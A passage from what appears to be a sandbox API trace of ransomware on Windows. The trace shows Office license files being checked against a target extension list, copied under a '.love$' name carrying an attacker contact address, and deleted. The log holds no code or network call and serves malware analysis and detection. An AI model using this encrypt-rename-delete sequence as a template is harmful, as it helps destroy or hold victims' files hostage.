(lpString1=".dbf", lpString2="m-ms") returned -1 [0277.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.224] lstrlenW (lpString=".1cd") returned 4 [0277.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0277.224] lstrlenW (lpString=".jpg") returned 4 [0277.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.224] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.224] lstrlenW (lpString="O365HomePremR_SubTrial2-ppd.xrm-ms") returned 34 [0277.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0277.225] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23135) returned 1 [0277.225] CloseHandle (hObject=0x57c) returned 1 [0277.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220 [0277.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0277.226] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.226] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0277.228] GetLastError () returned 0x0 [0277.228] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0277.250] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5a60, lpOverlapped=0x0) returned 1 [0277.252] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0277.252] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0277.252] SetEndOfFile (hFile=0x574) returned 1 [0277.252] CloseHandle (hObject=0x574) returned 1 [0277.252] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.252] SetEndOfFile (hFile=0x57c) returned 1 [0277.263] CloseHandle (hObject=0x57c) returned 1 [0277.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1 [0277.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.270] lstrlenW (lpString=".doc") returned 4 [0277.270] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".docx") returned 5 [0277.271] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.271] lstrlenW (lpString=".pdf") returned 4 [0277.271] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".xls") returned 4 [0277.271] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".xlsx") returned 5 [0277.271] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.271] lstrlenW (lpString=".ppt") returned 4 [0277.271] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.271] lstrlenW (lpString=".zip") returned 4 [0277.271] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".rar") returned 4 [0277.271] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".bz2") returned 4 [0277.271] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString=".7z") returned 3 [0277.271] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.271] lstrlenW (lpString=".dbf") returned 4 [0277.271] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.271] lstrlenW (lpString=".1cd") returned 4 [0277.271] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.271] lstrlenW (lpString=".jpg") returned 4 [0277.271] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.272] lstrlenW (lpString=".doc") returned 4 [0277.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".docx") returned 5 [0277.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.272] lstrlenW (lpString=".pdf") returned 4 [0277.272] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".xls") returned 4 [0277.272] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".xlsx") returned 5 [0277.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.272] lstrlenW (lpString=".ppt") returned 4 [0277.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.272] lstrlenW (lpString=".zip") returned 4 [0277.272] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".rar") returned 4 [0277.272] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".bz2") returned 4 [0277.272] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString=".7z") returned 3 [0277.272] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.272] lstrlenW (lpString=".dbf") returned 4 [0277.272] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.273] lstrlenW (lpString=".1cd") returned 4 [0277.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0277.273] lstrlenW (lpString=".jpg") returned 4 [0277.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.273] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.273] lstrlenW (lpString="O365HomePremR_SubTrial3-pl.xrm-ms") returned 33 [0277.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0277.318] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11183) returned 1 [0277.319] CloseHandle (hObject=0x57c) returned 1 [0277.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220 [0277.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0277.320] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.320] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0277.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0277.322] GetLastError () returned 0x0 [0277.322] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2baf, lpOverlapped=0x0) returned 1 [0278.754] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0278.755] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0278.755] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0278.755] SetEndOfFile (hFile=0x454) returned 1 [0278.756] CloseHandle (hObject=0x454) returned 1 [0278.756] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.756] SetEndOfFile (hFile=0x57c) returned 1 [0278.788] CloseHandle (hObject=0x57c) returned 1 [0278.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0278.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1 [0278.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.790] lstrlenW (lpString=".doc") returned 4 [0278.790] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".docx") returned 5 [0278.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.791] lstrlenW (lpString=".pdf") returned 4 [0278.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".xls") returned 4 [0278.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".xlsx") returned 5 [0278.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.791] lstrlenW (lpString=".ppt") returned 4 [0278.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.791] lstrlenW (lpString=".zip") returned 4 [0278.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".rar") returned 4 [0278.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".bz2") returned 4 [0278.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString=".7z") returned 3 [0278.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.791] lstrlenW (lpString=".dbf") returned 4 [0278.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.791] lstrlenW (lpString=".1cd") returned 4 [0278.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.791] lstrlenW (lpString=".jpg") returned 4 [0278.791] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.792] lstrlenW (lpString=".doc") returned 4 [0278.792] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".docx") returned 5 [0278.792] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.792] lstrlenW (lpString=".pdf") returned 4 [0278.792] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".xls") returned 4 [0278.792] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".xlsx") returned 5 [0278.792] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.792] lstrlenW (lpString=".ppt") returned 4 [0278.792] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.792] lstrlenW (lpString=".zip") returned 4 [0278.792] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".rar") returned 4 [0278.792] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".bz2") returned 4 [0278.792] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.792] lstrlenW (lpString=".7z") returned 3 [0278.794] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.794] lstrlenW (lpString=".dbf") returned 4 [0278.794] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.794] lstrlenW (lpString=".1cd") returned 4 [0278.794] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0278.794] lstrlenW (lpString=".jpg") returned 4 [0278.794] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.794] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0278.794] lstrlenW (lpString="O365HomePremR_SubTrial4-ppd.xrm-ms") returned 34 [0278.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0278.796] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23135) returned 1 [0278.796] CloseHandle (hObject=0x57c) returned 1 [0278.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220 [0278.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0278.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0278.797] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.797] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0278.799] GetLastError () returned 0x0 [0278.799] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0278.861] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5a60, lpOverlapped=0x0) returned 1 [0278.863] ReadFile (in: hFile=0x57c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0278.863] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0278.863] SetEndOfFile (hFile=0x304) returned 1 [0278.864] CloseHandle (hObject=0x304) returned 1 [0278.864] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.864] SetEndOfFile (hFile=0x57c) returned 1 [0278.909] CloseHandle (hObject=0x57c) returned 1 [0278.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0279.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1 [0280.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.842] lstrlenW (lpString=".doc") returned 4 [0280.842] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.842] lstrlenW (lpString=".docx") returned 5 [0280.842] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.843] lstrlenW (lpString=".pdf") returned 4 [0280.843] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString=".xls") returned 4 [0280.843] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString=".xlsx") returned 5 [0280.843] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.843] lstrlenW (lpString=".ppt") returned 4 [0280.843] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.843] lstrlenW (lpString=".zip") returned 4 [0280.843] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString=".rar") returned 4 [0280.843] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString=".bz2") returned 4 [0280.843] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString=".7z") returned 3 [0280.843] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.843] lstrlenW (lpString=".dbf") returned 4 [0280.843] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.843] lstrlenW (lpString=".1cd") returned 4 [0280.843] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.843] lstrlenW (lpString=".jpg") returned 4 [0280.843] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.844] lstrlenW (lpString=".doc") returned 4 [0280.844] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString=".docx") returned 5 [0280.844] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.844] lstrlenW (lpString=".pdf") returned 4 [0280.844] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString=".xls") returned 4 [0280.844] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString=".xlsx") returned 5 [0280.844] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.844] lstrlenW (lpString=".ppt") returned 4 [0280.844] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.844] lstrlenW (lpString=".zip") returned 4 [0280.844] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 